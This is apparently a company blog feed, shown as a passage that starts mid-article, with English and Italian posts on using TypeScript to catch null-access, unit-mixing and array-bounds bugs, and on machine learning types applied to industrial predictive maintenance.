myShape.lineTo(p2.x, p2.y);
myShape.getLength(); // 26.925824035672584

// if we pass objects instead...
const myShape2 = new THREE.Shape();
myShape2.moveTo(p1);
myShape2.lineTo(p2);
myShape2.getLength(); // NaN
// What? 😳 🤯

Fortunately, TypeScript was designed specifically to find this kind of errors, and type-checking the code immediately finds the error. This is because Three.JS has typings that allow the compiler to verify the correctness of the function parameters.

However things becomes slightly more complicated when we want to use arrays to represent coordinates. While TypeScript can easily verify the presence of the x, y and z fields of an object, when we access an array with the notation arr [N] we may read values that are out of bounds.

In fact, TypeScript does not perform bounds checking on arrays, since it depends on run-time information. All arrays represented as T[] have no compile-time bounds checking, and literal arrays are interpreted this way by default.

We can have better checking using Type Narrowing:

const pointA = [12, 3, 8]; // number[]

// No bounds checking 😕
console.log(pointA[4]); // undefined

// We force (narrowing) our type to be a three number array
const pointB: [number, number, number] = [12, 3, 8];

// We get an error as we want 🥳
console.log(pointB[4]);

// To avoid repetitions, we can also use an alias
type Point = [number, number, number];
const pointC: Point = [12, 3, 8];

Try it on Playground

As we forced our type to be a three number array, we can also do the same with different types:

// We can also use different types
const tuple: [number, number, string] = [12, 3, "test"];

// tuple[0] is a number
console.log(tuple[0] - 5);

// tuple[2] is a string, and so we get an error
console.log(tuple[2] - 5);

Try it on Playground

However, if our data is not a constant, for example if it comes from a service or from a file, we should not cast it using as, as it would be unsafe: we don't know what data we are going to get. To get even more security we can combine a runtime control with a Type Guard:

type Point = [number, number, number];

// We assert that this function is expected to return true if the parameter is a valid Point
function isValidPoint(arr: any[]): arr is Point {
  return arr.length === 3 && arr.every((k) => !isNaN(k));
}

const point = [2, "a"];
if (isValidPoint(point)) {
  // Out point is valid, we can access it safely
  console.log(point[2] - 3);
} else {
  // The point is not valid, and accessing it yields an error 🤯
  console.log(point[2] - 3);
}

Try it on Playground

Conclusion

We have seen how TypeScript can become a valid ally if you want to write safe and correct code, minimizing errors on edge cases and time needed for tests.

Some might argue that everything we showed could be solved with proper testing or more attention. In SMC, however, we think that the value that TypeScript brings is really this: it decreases the cognitive load that developers have to use when writing code at the small cost of a little more verbosity. The types act as a reference and help thanks to the IDE, so we no longer have to look for the parameters of a function in the documentation (which is often not even updated).

In SMC we applied the use of TypeScript to every complex and mission-critical projects, obtaining a decrease in the time required for bugfixes, as much less bugs are found in the testing phase.

3 bug che Typescript avrebbe potuto evitare

Wed, 10 Jun 2020 00:00:00 GMT

Ogni programmatore JavaScript, sia frontend che backend, avrà sicuramente provato sulla propria pelle i problemi di sviluppare senza un type checker. Quante volte avrete visto un errore di questo tipo?

Uncaught TypeError: Cannot read property 'value' of undefined

Questo criptico messaggio non ci sta dicendo altro che quella variabile non punta ad un oggetto ma a undefined. Trovare la causa di questi errori non è troppo difficile se il progetto è di piccole dimensioni, ma diventa esponenzialmente più complicato man mano che il progetto cresce.

Per risolvere tutti questi problemi, fortunatamente, esiste un tool molto potente, TypeScript. TypeScript è un superset di JavaScript che consente di aggiungere annotazioni di tipo al codice, fornendo strumenti di sviluppo che consentono di:

Verificare la correttezza dei tipi, come ad esempio:
- Accesso ai valori nulli
- Campi mancanti su oggetti
- Edge case non implementati
Autocompletamento del codice in tempo reale in base ai tipi
- Forte integrazione con IDE come Visual Studio Code
- Questo consente di avere documentazione sempre aggiornata e corretta, visto che deriva direttamente dai tipi nel codice

In questo articolo, però, non vi parleremo del linguaggio nello specifico, dato che possiede già una eccellente documentazione e molte guide dettagliate. Per dare veramente valore a questo strumento vorremmo invece raccontare la nostra esperienza, ossia, dove TypeScript ci è stato d'aiuto per risolvere determinati problemi.

🧨 1. Accesso ai campi nulli

Una prima esperienza viene direttamente dal nostro Blog, nella gestione delle lingue.

Quando un utente visita il blog, viene salvata la lingua preferita in Local Storage. Nel momento in cui l'utente visita di nuovo la root, viene automaticamente reindirizzato alla lingua corretta, grazie ad una tabella che tiene la corrispondenza fra lingua e url di destinazione.

Questa implementazione poco attenta potrebbe funzionare, fino a quando però una lingua non viene cambiata/rimossa. Osservando molto attentamente il codice si trova l'errore:

const languages = {
  it: { baseUrl: "/it" },
  en: { baseUrl: "/en" },
};
const defaultLanguageKey = "it";

export default function IndexPage() {
  // Lingua preferita salvata su LocalStorage
  const preferredLanguageKey = window.localStorage.getItem("lang");

  const languageKey = preferredLanguageKey || defaultLanguageKey;
  const path = languages[languageKey].baseUrl;

  return <Redirect to={path} />;
}

Prova su Playground

Leggendo il valore baseUrl della lingua, se la chiave languageKey non è presente in languages verrà letto un campo undefined. Questo causa una eccezione TypeError: languages[languageKey] is undefined, che farà crashare React e l'intera applicazione.

Se proviamo a far analizzare il codice a TypeScript, tenendolo as-is senza aggiungere nessuna annotazione di tipo, ci verrà presentato il seguente errore:

L'errore che riceviamo dal compilatore: sull'oggetto languages non possiamo usare un indice di tipo string

Typescript è stato in grado di trovare l'accesso pericoloso senza bisogno di nessuna annotazione aggiuntiva, salvandoci da un crash (provare per credere sul Playground).

Come abbiamo detto all'inizio, questo specifico caso viene dal nostro blog, che è stato scritto in plain JavaScript. Se avessimo utilizzato TypeScript fin dall'inizio ci saremmo accorti ben prima di questo bug, addirittura durante lo sviluppo, e non dopo giorni che il blog era in produzione. TypeScript quindi si dimostra molto utile per evitare questa intera classe di errori, con un effort minimo di annotazione dei tipi, riducendo di molto il tempo necessario per il testing.

Poter verificare gli accessi a campi nulli rende TypeScript ancora più potente e sicuro di altri compilatori, come ad esempio Java, dove la gestione dei null viene addirittura definita il "million dollar mistake".

⏱ 2. Tipizzare valori numerici: gestire le unità di Tempo

Un altro tra i problemi più complicati da gestire quando si sviluppano applicazioni è sicuramente la gestione del tempo. Gestire durate, timestamp e timezone richiede molta attenzione, altrimenti può portare facilmente ad errori off-by-one o nelle unità di misura.

Immaginiamo di dover gestire con un'applicazione web gli orari dei dipendenti. Riceviamo da un servizio le informazioni di un dipendente, comprese le sue ore lavorative per contratto, salvate come minuti in formato JSON.

const employee = {
  name: "John Doe", // string
  shiftHours: {
    monday: 60, // number
    tuesday: 120,
    wednesday: 240,
    thursday: 180,
    friday: 60,
    saturday: 120,
    sunday: 0,
  },
};

In questo caso, TypeScript interpeta il tipo dei valori di shiftHours come number. Questo potrebbe sembrare innocuo, ma non ci permette di verificare il fatto che sono codificati come minuti, non come ore. A meno di scriverlo nella documentazione, un altro sviluppatore potrebbe facilmente sbagliarsi e scambiare l'unità di misura, interpretando il numero come ore.

function HourDisplay({ hours }: { hours: number }) {
  return <>{hours} hours</>
}

function EmployeeDisplay({ employee }: { employee: Employee }) {
  return (
    <>
      <h2>Name: {employee.name}</h2>

      {Object.entries(employee.shiftHours).map(([day, time]) => (
        <p key={day}>
          {/* Stiamo stampando i minuti come fossero ore… whoops! */}
          {day}: <HourDisplay hours={time} />
        </p>
      ))}
    </>
  );
}

Su questo componente React per visualizzare i dati di un dipendente non avremo malfunzionamenti o eccezioni in runtime, e infatti TypeScript lo considera come corretto.

Il problema di questa implementazione è che stiamo sussumendo (una brutta parola che vale la pena imparare!) tutto a number. I campi di tipo number sono del tutto generici, e di conseguenza il compilatore non fa enforcing delle unità di misura. Possiamo però grazie a TypeScript evitare questo tipo di errori logici utilizzando un pattern chiamato Nominal Typing. Questa tecnica prevede l'aggiunta di annotazioni di tipo più stringenti a tipi base, come numeri o stringhe, permettendo di fare enforcing anche sul loro contenuto.

Una prima soluzione potrebbe essere utilizzare un type alias. Ci accorgiamo, però, che non funziona come ci aspetteremmo:

type Hours = number;
type Minutes = number;

function HourDisplay({ hours }: { hours: Hours }) {
  return <>{hours} hours</>;
}

function App() {
  const test: Minutes = 60;
  // Nessun errore! 😕
  return <HourDisplay hours={test} />;
}

Prova su Playground

In questo modo uno sviluppatore che chiamerà il componente HourDisplay non noterà nemmeno nell'autocompletamento che il tipo atteso è in ore (Hours), visto che vengono tolti gli alias per maggiore chiarezza.

Gli alias vengono rimossi dall'IntelliSense

Il codice, soprattutto, compila senza problemi, dal momento che TypeScript utilizza Structural Typing e non Nominal Typing. Questo vuol dire che per controllare se due tipi combaciano si basa non sul loro nome, ma sul loro contenuto. Questo comportamento può sembrare strano se uno sviluppatore è abituato a linguaggi come Java o C#, deriva infatti dai linguaggi funzionali come Haskell o OCaml.

Per risolvere questo problema e controllare i tipi in maniera nominale ci sono molti approcci possibili, sia con controlli a runtime, che solamente a compile-time. Tutti questi pattern comunque si basano sull'aggiungere un campo tag in un oggetto che faccia da discriminante.

La soluzione più standard, utilizzata dagli stessi sviluppatori di TypeScript, è la seguente, basata su un tag di tipo void presente solo a compile-time:

interface Hours {
  _hoursBrand: void,
  value: number;
}

interface Minutes {
  _minutesBrand: void;
  value: number;
}

function HourDisplay({ hours }: { hours: Hours }) {
  return <>{hours.value} hours</>
}

function App() {
  // Type assertion
  const test = { value: 60 } as Minutes;

  // Questa riga darà un errore, come ci aspettiamo
  return <HourDisplay hours={test} />;
}

Prova su Playground

Un pattern come questo diventa molto utile non solo quando si gestiscono unità di tempo, ma anche in molti altri casi. Abbiamo ad esempio usato questa tecnica su alcuni progetti per gestire identificatori multipli, aggiungendo tipi nominali alle stringhe. Ciò ci ha consentito di evitare moltissimi errori data la complessità del dominio.

Per maggiori informazioni sulle tecniche di Nominal typing, consiglio la lettura di questo articolo e di questa libreria.

3. 📌 Array a dimensione costante: Coordinate XYZ

In SMC amiamo la grafica 3D, soprattutto sul Web. Il problema è che, usando diverse librerie grafiche come Three.JS e react-three-fiber, non tutte gestiscono le coordinate allo stesso modo.

Mentre per alcune sono oggetti con campi x, y e z, in altre librerie troviamo le coordinate rappresentate come array a tre elementi:

// Variante con oggetti (THREE.Vector3)
const p1 = { x: 2, y: 3, z: 4 };

// Variante con Array
const p2 = [2, 3, 4];

Nel momento in cui alcune funzioni si aspettano array come parametri e altre oggetti è molto facile sbagliarsi, producendo errori in console dalla non immediata comprensione:

// Abbiano i nostri punti, provenienti magari da un servizio
const p1 = new THREE.Vector2(25, 25);
const p2 = new THREE.Vector2(0, 15);

// Questo usa oggetti
const curve = new THREE.SplineCurve([p1, p2]);

// Questo usa array
var myShape = new THREE.Shape();
myShape.moveTo(p1.x, p1.y);
myShape.lineTo(p2.x, p2.y);
myShape.getLength(); // 26.925824035672584

// se invece passiamo oggetti...
const myShape2 = new THREE.Shape();
myShape2.moveTo(p1);
myShape2.lineTo(p2);
myShape2.getLength(); // NaN
// What? 😳 🤯

Fortunatamente TypeScript è stato pensato apposta per risolvere questo tipo di problemi, e semplicemente attivandolo sul codice trova immediatamente l'errore. Questo perchè Three.JS ha i typings che consentono di verificare la correttezza dei parametri delle funzioni.

La faccenda si fa più complicata, però, quando vogliamo utilizzare gli array per rappresentare coordinate. Mentre TypeScript può facilmente verificare la presenza dei campi x, y e z su un oggetto, quando accediamo ad un array con la notazione arr[N] rischiamo di leggere valori non presenti.

TypeScript, infatti, non effettua bound checking sugli array, dato che dipende da informazioni a run-time. Tutti gli array rappresentati come T[] non hanno bound checking, e gli array literal sono interpretati di default in questo modo.

Possiamo ottenere un controllo migliore grazie al Type Narrowing, ossia forzare un tipo più stretto:

const pointA = [12, 3, 8]; // number[]

// Nessun bound checking 😕
console.log(pointA[4]); // undefined

// Forziamo (narrowing) il tipo ad un array composto da tre number
const pointB: [number, number, number] = [12, 3, 8];

// Ci viene segnalato l'errore 🥳
console.log(pointB[4]);

// Per evitare di scrivere più volte lo stesso tipo, possiamo anche utilizzare un alias
type Point = [number, number, number];
const pointC: Point = [12, 3, 8];

Prova su Playground

Come abbiamo specificato il tipo di un array composto da N elementi uguali, nulla ci impedisce di fare lo stesso anche con tipi diversi:

// Possiamo utilizzare anche tipi diversi, andando a formare tuple
const tuple: [number, number, string] = [12, 3, "test"];

// tuple[0] è un numero, tutto apposto
console.log(tuple[0] - 5);

// tuple[2] è una stringa, e di conseguenza otteniamo un errore
console.log(tuple[2] - 5);

Prova su Playground

Se però i dati che andiamo a trattare non sono costanti, ma ad esempio provengono da un servizio o da un file, non possiamo effettuare un cast usando as, dato che sarebbe pericoloso: non sappiamo che dati possono arrivarci. Per ottenere ancora più sicurezza possiamo combinare un controllo a runtime con una Type Guard:

type Point = [number, number, number];

// La funzione ritorna true se il parametro è un Point
function isValidPoint(arr: any[]): arr is Point {
  return arr.length === 3 && arr.every((k) => !isNaN(k));
}

const point = [2, "a"];
if (isValidPoint(point)) {
  // Il valore è valido, possiamo accederci
  console.log(point[2] - 3);
} else {
  // Il valore non è valido, e questo linea darà errore 🤯
  console.log(point[2] - 3);
}

Prova su Playground

Conclusioni

Abbiamo visto come TypeScript può diventare un valido alleato per scrivere codice sicuro e corretto, minimizzando gli errori sugli edge case e il tempo necessario per i test.

Alcuni potrebbero controbattere che tutto ciò che abbiamo mostrato poteva essere risolto con un adeguato testing o attenzione nello sviluppo. In SMC, però, pensiamo che il valore che porta TypeScript sia proprio questo: pagando con un po' di verbosità in piu' diminuisce il carico cognitivo che gli sviluppatori devono portare quando scrivono codice. I tipi fungono da riferimento e aiuto grazie agli IDE, non dovendo più cercare i parametri delle funzioni nella documentazione (che spesso non è neppure aggiornata).

In SMC abbiamo applicato l'uso di TypeScript a tutti i progetti complessi e mission-critical, ottenendo una diminuzione del tempo necessario per i bugfix, dato che in fase di test vengono riscontrati molti meno bug.

Machine learning and applications for industry

Mon, 25 May 2020 00:00:00 GMT

Applications such as search engines, voice assistants, e-commerce sites, "smart" cameras, facial recognition for unlocking the smartphone are now part of our daily lives. Many do not know, however, that these applications make use of artificial intelligence.
Artificial intelligence is used both as a foundation without which the system would not be feasible, and as a support to provide a service as addressed and customized as possible to the user.

This makes us reflect on how artificial intelligence is an already heavily used tool, even if it is currently for the most part confined to the major players in the market.
However, it is expected that in the years to come, AI will become increasingly widespread even on medium-small businesses, with a growing impact on all types of industries and activities.
In fact, we can say that AI will very often become a feature that is already expected to be integrated into products.

Figure 1 - AI and Machine Learning

Machine learning is a discipline of artificial intelligence through which many forms of AI can be achieved.
Machine learning collects and uses a multitude of methods such as artificial neural networks, adaptive algorithms, processing images, data mining, and others, to create systems capable of learning autonomously and progressively.
In fact, machine learning can be considered a variant to traditional programming, in which it is predisposed in a machine the ability to learn from data (experience) independently, without being explicitly programmed to do it, to then be able to reuse what has been learned about a certain task.

Types of machine learning

Machine learning is usually divided into three different types, plus others of lesser importance (which are often a hybrid of the three most important).
Each typology differs from the other on the basis of the form of data used for training and on the basis of the task to be performed.

Supervised learning

In this type of machine learning the models are trained starting from labeled data, i.e. data for which the desired output signals are known.
What the model learns are a series of patterns and correlations between the data and the associated label, which it will reuse as a basis for making decisions on future data.
In the case of supervised learning, machine learning problems are divided into two main classes: Regression and Classification.

Regression

An example of a regression problem may be to estimate the cost of a home, described by a series of variables, such as the surface, the number of rooms, etc...
In the training data, for each home, in addition to the descriptive variables, the label (the expected result) is known, which in our case is the price of the house.
In regression, the label is always a continuous variable. What we try to do in these problems is to find, through a more or less complex continuous function, a relationship between descriptive variables and labels.

Figure 2 - Regression

The figure shows, for example, the use of two functions of different complexity, capable of learning a certain trend of the curve, which will then be used to produce estimates on future data.

Classification

In the classification, labels are unordered discrete values that can be considered as belonging to a group of a class.
Using an automatic learning algorithm with supervision, we will be able to separate the two classes (by identifying decision-making boundary) and associate the data, based on their values, to different categories, with a certain confidence value.
Classification can be binary or multiclass.

Figure 3 - Classification

An example of classification could be to determine if, given an image, it is a cat or dog image.
The predictive variables in this case could be the shape of the ears and the size of the nose (features that come extracted through appropriate image processing techniques), while the label simply specifies if it is of a dog or cat.

Unsupervised Learning

In unsupervised learning, unlike supervised learning, we have unlabeled data. In these cases, therefore, we cannot count on a known variable relating to the result.
These techniques try to observe the data structure and to extrapolate from this meaningful information.
Most unsupervised tasks fall into the Clustering problem class.

Clustering

Clustering is an exploratory technique that allows you to aggregate within groups (called clusters) data for which we have no previous knowledge of belonging to groups. We will therefore have large datasets, where the data inside them have similar features to each other.
Within each individual group (or cluster) we will find those data that have many similar characteristics to each other.
Clustering is an excellent technique that allows us to find relationships between data, and to carry out the so-called exploratory data analysis. For example, clustering allows vendors to identify customer clusters based on their profiles to improve marketing activity (market segmentation).

Figure 4 - Clustering for Topic Modeling

A clustering problem might be to group documents from a corpus into sets of documents they deal with the same topic.
The documents could be represented in space in the form of word vectors, and then grouped together in based on some form of similarity, which is able to relate documents containing words and expressions to each other common.

Reinforcement Learning

The third type of machine learning is Reinforcement Learning. The goal of this type of learning is to build a system (agent) that through interactions with the environment improves its performance.
In order to improve the functionality of the system, reinforcements, or reward signals, are introduced.
This reinforcement is not given by the labels or the correct truth values, but is a measurement of the quality of the actions taken by the system. For this reason it cannot be assimilated to supervised learning.

Figure 5 - Example of Reinforcement Learning

Reinforcement learning is widely used for robot navigation training. In the figure is shown the example of the return negative or positive rewards when the robot sucks them.

Deep Learning

Deep Learning is a large family of methods for machine learning based on artificial neural networks. Artificial neural networks are computational models based on a simplification of biological neural networks.

Figure 6 - Example of neural network

As can be seen in Figure 6, they can be made up of many nodes, or neurons, and multiple layers of neurons. Theoretically more the number of neurons and layers increases, more the network is able to represent more complex non-linear functions.
We are talking about computational models theorized as early as the 1970s, but for which at that time it was not possessed still enough computing power to use and apply them.
Today that computing and storage capacities have increased dramatically, they are back in fashion, and are used in many contexts of artificial intelligence.
If used in the form of nets with many layers, we speak precisely of deep learning, because we use very deep networks.
The ability to be able to formulate very complex non-linear functions across these networks has meant that they now come widely used in a series of very advanced tasks related above all to "natural perception", such as computer vision and natural language processing.

Machine learning applications in industry

Machine learning and the set of techniques mentioned, can be very useful in industry in order to optimize and improve the production and sales process.

Figure 7 - Applications in the industry

Some possible applications are:

Predictive maintenance: predict failures and anomalies on machinery with the aim of managing efficiently maintenance , with an important return in terms of cost reduction
Sales forecast: predict future sales levels in order to optimize the production process
Product quality control (Quality 4.0): check the product quality by detecting production defects
Forecast of energy consumption: forecast future energy consumption, with advantages both for those who have to request it and for those who it is an energy supplier

Applications in predictive maintenance

Below is an example of applying Supervised Learning algorithms and techniques for the use case of predictive maintenance.
The data used for the training are sensor data, coming from real machines, collected through the SMC IoT Experience platform. The goal is to create systems capable of:

Predict how quickly a failure could occur on the machine (Regression)
Predict if a failure could occur within a certain time window (Binary classification)

In trying to achieve all this, machine learning comes to our aid, thanks to the use of algorithms and models that are able to learn the correlations between the sensor data and and failures that occurred on the machinery.

Construction of the dataset

To build the dataset on which to train the algorithms, it was necessary to acquire the data relating to the historical faults that occurred on the machinery, as well as the telemetry history in the period of time preceding the considered failures.

Figure 8 - Telemetry data

Once all the data was acquired, an in-depth feature engineering activity was carried out, i.e. an activity in which the data they have undergone filtering, processing and aggregation; this activity, every time you face a machine learning task, is fundamental to be able to put the data in the best shape to be able to efficiently train what is the chosen algorithm.

The data was subsequently labeled, so that a supervised training approach can be used.
To do this we have correlated two different values to each telemetric record:

A continuous scale value, for the regression task, which specifies the time remaining to the fault at the time that the telemetry record was recorded
A binary value, for the binary classification task, which indicates whether the telemetry record has been recorded within a certain time window since the fault

At the end of the labeling, a data set consisting of about 170 telemetry sequences preceding failures occurred on the same machine, is resulted, where each telemetry sequence has an amplitude between 250 and 300 minutes

Finally, the dataset was divided into:

Training set (90% of the total, used for training)
Test set (10% of the total, used to evaluate the performance of the trained model)

Trainings and evaluations

Some candidate algorithms for the task have been trained and tested. Some of these are:

After each training, it is essential to evaluate the performance of the resulting model. This is to compare both different algorithms between them, both different training configurations of the same algorithm, and identify the tool that work better on that specific task.
To carry out these evaluations, a series of metrics and graphs are used, which show how well the model is in question is able to perform the task for which he was trained.
In the case in question we can see, for example, the results of the evaluation carried out on the forecasting task if a fault could occur within a certain time window.
In particular, the results refer to the training of a "Light Gradient Boost Machine Classifier" with time window set at 30 minutes.

Figure 9 - Evaluation metrics

The "holdout score" column contains the values for metrics that present the model's performance across the test set.
We have a total accuracy of 98.6%, with values of Precision and Recall also very high, which show satisfactory performance for the model in question.
For a more detailed view we also see the confusion matrix, which consists of a matrix that allows you to visualize false positives and false negatives, putting the real labels in relation with the values foreseen by the model..

Figure 10 - Confusion matrix

From the confusion matrix it is found that:

In 92.7% of cases, if we are close to a possible failure, the system is able to correctly predict it, while in 7.3% of cases is unable to report it
98.2% of the times that a possible imminent failure is reported, this will actually happen, while in 1.8% of the cases it will be a false alarm

Conclusions

The application techniques seen represent a possible action strategy to achieve, through machine learning, systems that support predictive maintenance.
For example, a system capable of predicting whether a failure could occur within 30 minutes could be used for install a traffic light on a machine that will signal, if the system foresees it, possible imminent faults.
This represents only one example of how machine learning and more generally artificial intelligence can help what is the production and decision-making process within the industrial environment.
In line with the transformation towards the so-called Industry 4.0, machine learning will play a role in the coming years fundamental for the growth and the ability of industries to keep up with the times.

Machine learning e applicazioni per l'industria

Mon, 25 May 2020 00:00:00 GMT

Applicazioni come i motori di ricerca, gli assistenti vocali, i siti di e-commerce, le fotocamere "intelligenti", il riconoscimento facciale per lo sblocco dello smartphone, fanno parte ormai della nostra quotidianità. Molti non sanno però che queste applicazioni fanno uso dell'intelligenza artificiale.
L'intelligenza artificiale è utilizzata sia come fondamento senza il quale il sistema non sarebbe realizzabile, sia come supporto per fornire un servizio il più possibile indirizzato e personalizzato all'utente.

Questo ci fa riflettere su come l'intelligenza artificiale è uno strumento già fortemente utilizzato, anche se al momento è per la maggior parte confinato ai grandi player del mercato.
Ci si aspetta però che negli anni a venire, l'AI avrà una sempre maggiore diffusione anche sulle realtà medio piccole, con un impatto crescente su tutti i tipi di industrie e attività.
Di fatto, possiamo dire, che l'AI diventerà molto spesso una feature che ci si aspetta già di avere integrata nei prodotti.

Figura 1 - AI e Machine Learning

Il machine learning è una disciplina dell'intelligenza artificiale attraverso la quale è possibile realizzare molte forme di AI.
Il machine learning raccoglie e utilizza una moltitudine di metodi come le reti neurali artificiali, gli algoritmi adattativi, l'elaborazione delle immagini, il data mining, e altri, per creare dei sistemi in grado di apprendere in modo autonomo e progressivo.

Di fatto il machine learning può essere considerato una variante alla programmazione tradizionale, nella quale si predispone in una macchina l'abilità di apprendere dai dati (esperienza) in maniera autonoma, senza essere esplicitamente programmata per farlo, per poi poter riutilizzare ciò che è stato appreso su un certo compito da svolgere.

Tipologie di machine learning

Il machine learning viene solitamente suddiviso in tre diverse tipologie, più altre di minore importanza (che spesso sono un ibrido tra le tre più importanti).
Ogni tipologia si differenzia dall'altra sulla base della forma dei dati utilizzati per l'addestramento e sulla base del task da svolgere.

Supervised learning

In questa tipologia di machine learning i modelli vengono addestrati a partire da dati etichettati, cioè dati per cui sono conosciuti i segnali di output desiderati.
Ciò che il modello apprende sono una serie di pattern e correlazioni tra il dato e l'etichetta associata, che riutilizzerà come base per prendere decisioni su dati futuri.
Nel caso dell'apprendimento supervisionato i problemi di machine learning si dividono in due grandi classi: Regressione e Classificazione.

Regressione

Un'esempio di problema di regressione può essere quello di stimare il costo di un'abitazione, descritta da una serie di variabili, come la superficie, il numero di camere, ecc...
Nei dati di addestramento, per ogni abitazione, oltre alle variabili descrittive si conosce l'etichetta (il risultato atteso), che nel nostro caso è il prezzo dell'abitazione.
Nella regressione l'etichetta è sempre una variabile continua. E quello che si cerca di fare è trovare, tramite una funzione continua più o meno complessa, una relazione, tra variabili descrittive e etichette.

Figura 2 - Regressione

In figura è mostrato, ad esempio, l'utilizzo di due funzioni di diversa complessità, in grado di apprendere un certo andamento della curva, che verrà poi utilizzato per produrre stime su dati futuri.

Classificazione

Nella classificazione le etichette sono valori discreti non ordinati che possono essere considerati appartenenti a un gruppo di una classe.
Utilizzando un algoritmo d’apprendimento automatico con supervisione, saremo in grado di separare le due classi (attraverso l'individuazione di un confine decisionale) ed associare i dati, sulla base dei loro valori, alle diverse categorie, con un certo valore di confidenza.
La classificazione può essere binaria o multiclasse.

Figura 3 - Classificazione

Un esempio di classificazione potrebbe essere quello di determinare se, data un'immagine, si tratta di un'immagine di cane o gatto.
Le variabili predittive in questo caso potrebbero essere la forma delle orecchie e la dimensione del naso (feature che vengono estratte attraverso opportune tecniche di elaborazioni di immagini), mentre l'etichetta semplicemente specifica se si tratta di un cane o di un gatto.

Unsupervised Learning

Nell’apprendimento senza supervisione, al contrario di quello con supervisione, abbiamo dei dati senza etichetta. In questo caso non si può quindi contare su una variabile nota relativa al risultato.
Queste tecniche cercano di osservare la struttura dei dati e di estrapolare da questi, informazioni cariche di significato.
La maggior parte dei task di tipo non supervisionato ricadono nella classe dei problemi di Clustering.

Clustering

Il Clustering è una tecnica esplorativa che consente di aggregare all’interno di gruppi (detti cluster) dei dati per i quali non abbiamo precedente conoscenza di appartenenza a gruppi.
Avremo quindi dei grossi dataset, dove i dati al loro interno hanno delle feature simili tra loro. All’interno di ogni singolo gruppo (o cluster) troveremo quei dati che presentano un certa similarità.
Il clustering è un’ottima tecnica che ci permette quindi di scovare relazioni tra i dati, e di svolgere la cosiddetta exploratory data analysis. Ad esempio, il clustering permette ai venditori, di identficare cluster di clienti, in base ai loro profili, per migliorare l'attività di marketing (market segmentation).

Figura 4 - Clustering per Topic Modeling

Un problema di clustering potrebbe essere quello di raggruppare documenti di un corpus, in insiemi di documenti che trattano lo stesso topic.
I documenti potrebbero essere rappresentati nello spazio sotto forma di vettori di parole, e poi raggruppati tra di loro in base a una qualche forma di similarità, che è in grado di relazionare documenti che contengono parole e espressioni comuni.

Reinforcement Learning

Il terzo tipo di apprendimento automatico è l’Apprendimento per Rinforzo. L’obiettivo di questo tipo di apprendimento è quello di costruire un sistema (agente) che attraverso le interazioni con l’ambiente migliori le proprie performance.
Per poter migliorare le funzionalità del sistema vengono introdotti dei rinforzi, ovvero segnali di ricompensa.
Questo rinforzo non è dato dalle label (etichette) o dai valori corretti di verità, ma è una misurazione sulla qualità delle azioni intraprese dal sistema. Per questo motivo non può essere assimilato ad un apprendimento supervisionato.

Figura 5 - Esempio di Reinforcement Learning

Il reinforcement learning è molto utilizzato per l'addestramento nella navigazione dei robot. In figura è mostrato l'esempio dell'addestramento tramite tecniche di Deep Reinforcement Learning di un robot aspirapolvere. Gli oggetti rossi e verdi restituiscono delle ricompense negative o positive quando il robot li aspira.

Deep Learning

Il Deep Learning è una grande famiglia di metodi per il machine learning basati su reti neurali artificiali. Le reti neurali artificiali sono dei modelli computazionali basati su una semplificazione delle reti neurali biologiche.

Figura 6 - Esempio di rete neurale

Come è possibile vedere in Figura 6, possono essere formate da molti nodi, o neuroni, e da più strati di neuroni. Teoricamente più si aumenta il numero di neuroni e strati, più la rete è in grado di rappresentare funzioni non lineari più complesse.
Stiamo parlando di modelli computazionali teoricizzati già a partire dagli anni 70, ma per i quali a quei tempi non si possedeva ancora abbastanza capacità di calcolo per poterli utilizzare e applicare.

Oggi che le capacità di calcolo e storage sono aumentate a dismisura, sono tornate di moda, e vengono utilizzate in molti contesti dell'intelligenza artificiale.
Se utilizzate sotto la forma di reti con molti strati, si parla appunto di deep learning, perchè si utilizzano reti molto profonde.
La capacità di riuscire a formulare funzioni non lineari molto complesse attraverso queste reti, ha fatto si che vengano ormai largamente utilizzate in tutta una serie di task, molto avanzati, legati soprattutto alla "percezione naturale", come la Computer Vision e il Natural Language Processing.

Applicazioni del Machine Learning nell'industria

Il Machine Learning e l'insieme delle tecniche citate, possono essere molto utili nell'ambito dell'industria, al fine ottimizzare e migliorare il processo di produzione e vendita.

Figura 7 - Applicazioni nell'industria

Alcune possibili applicazioni.

Manutenzione predittiva: prevedere guasti e anomalie sui macchinari con l'obiettivo di gestire in modo efficiente la manutenzione, con un ritorno importante in termini di riduzione dei costi.
Previsione delle vendite: prevedere i livelli di vendita futuri così da poter ottimizzare il processo produttivo.
Controllo di qualità del prodotto (Quality 4.0): controllare la qualità del prodotto andando a rilevare difetti di produzione.
Previsione dei consumi energetici: prevedere i consumi energetici futuri, con vantaggi sia per chi deve farne richiesta, sia per chi è fornitore di energia.

Applicazioni in manutenzione predittiva

Segue un'esempio di applicazione di algoritmi e tecniche di Supervised Learning per il caso d'uso della manutenzione predittiva.
I dati utilizzati per gli addestramenti sono dati sensoristici, provenienti da macchinari reali, raccolti tramite la piattaforma IoT Experience di SMC. L'obiettivo è quello di realizzare dei sistemi in grado di:

prevedere entro quanto tempo si potrebbe verificare un guasto sul macchinario (Regressione);
prevedere se entro una certa finestra temporale si potrebbe verificare un guasto (Classificazione binaria).

Nel provare a realizzare tutto ciò, il machine learning ci viene in aiuto, grazie all'utilizzo di algoritmi e modelli che sono in grado di apprendere le correlazioni che intercorrono tra i dati sensoristici e i guasti avvenuti sui macchinari.

Costruzione del dataset

Per costruire il dataset su cui addestrare gli algoritmi, è stato necessario acquisire i dati relativi ai guasti storici che si sono verificati sui macchinari, così come tutto lo storico della telemetria nel periodo di tempo precedente ai guasti considerati.

Figura 8 - Dati telemetrici

Una volta acquisiti tutti i dati, è stata svolta un'approfondita attività di feature engineering, cioè un'attività in cui i dati hanno subito filtraggi, elaborazioni e aggregazioni; quest'attività, ogni volta che si affronta un task di machine learning, è fondamentale per riuscire a porre i dati nella forma migliore per riuscire ad addestrare in modo efficiente quello che è l'algoritmo scelto.

I dati sono stati successivamente etichettati, in modo da poter utilizzare un'approccio supervisionato per l'addestramento.
Per fare ciò abbiamo correlato ad ogni record telemetrico due diversi valori:

un valore su scala continua, per il task di regressione, che specifica il tempo rimanente al guasto nel momento in cui è stato registrato quel record telemetrico;
un valore binario, per il task di classificazione binaria, che indica se il record telemetrico è stato registrato all'interno di una certa finestra temporale dal guasto.

Al termine dell'etichettatura ne è risultato un dataset composto da circa 170 sequenze telemetriche precedenti a guasti occorsi sullo stesso macchinario, dove ogni sequenza telemetrica ha un'ampiezza compresa tra 250 e 300 minuti

Il dataset è stato infine suddiviso in:

training set (90% del totale, usato per l'addestramento);
test set (10% del totale, usato per valutare le performance del modello addestrato).

Addestramenti e valutazioni

